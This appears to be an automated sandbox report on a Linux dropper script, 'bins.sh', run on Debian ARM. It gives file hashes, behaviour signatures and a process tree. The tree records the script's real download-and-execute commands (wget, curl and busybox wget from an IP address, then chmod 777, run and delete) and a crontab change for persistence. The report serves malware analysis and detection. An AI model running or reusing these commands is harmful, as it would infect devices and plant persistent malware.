Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 19:52

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ddeda65fdff7dc7e3cc275ff6f553d3

  • SHA1

    63ea40bbcbb7ae0a7d338ea6283460d48c3f6368

  • SHA256

    67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af

  • SHA512

    b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e

  • SSDEEP

    96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1837) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:661
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Executes dropped EXE
          PID:699
        • /bin/rm
          rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
            PID:702
          • /usr/bin/wget
            wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Writes file to tmp directory
            PID:703
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:710
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • File and Directory Permissions Modification
            PID:727
          • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Executes dropped EXE
            PID:729
          • /bin/rm
            rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
              PID:733
            • /usr/bin/wget
              wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • Writes file to tmp directory
              PID:734
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/chmod
              chmod 777 OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              ./OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
              • Executes dropped EXE
              PID:766
            • /bin/rm
              rm OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
              2⤵
                PID:769
              • /usr/bin/wget
                wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/chmod
                chmod 777 oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                ./oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:785
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:787
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:788
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:789
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:790
                    • /bin/rm
                      rm oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
                      2⤵
                        PID:792
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
                        2⤵
                          PID:795

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /var/spool/cron/crontabs/tmp.rgnCyd

                        Filesize

                        210B

                        MD5

                        2279ac2a7970aa96657dfd80d43ab370

                        SHA1

                        478dca26653fbc606bcaa7704f94da75e280f17c

                        SHA256

                        58f02ac36630580ba15148e032abec8f769bafa6cb5109f0098bf6940b408264

                        SHA512

                        f25dca3231d81e2a10166fef7f3fb6b79dcc49934014c807636c2da2634fb8946740812e7fc65cac3205a549027f548b195944aab11047590e541ae82716e2d7